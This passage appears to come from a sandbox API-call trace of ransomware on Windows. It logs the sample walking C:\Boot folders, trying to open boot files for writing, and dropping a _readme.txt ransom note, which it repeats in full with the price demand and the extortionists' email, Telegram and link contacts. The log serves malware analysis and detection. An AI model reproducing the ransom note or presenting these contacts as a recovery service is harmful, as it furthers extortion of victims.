us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.642] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.642] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.642] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.642] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.642] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.642] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0116.642] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.643] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.643] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.643] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.643] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.643] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.643] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.644] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.644] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.644] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.644] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.644] PathFindFileNameW (pszPath="") returned="" [0116.644] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.644] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.645] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.645] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.645] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.645] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0116.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.645] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0116.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.645] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.645] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.645] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.645] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.645] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.645] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.646] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.646] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0116.646] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.646] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.646] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.646] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.646] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, 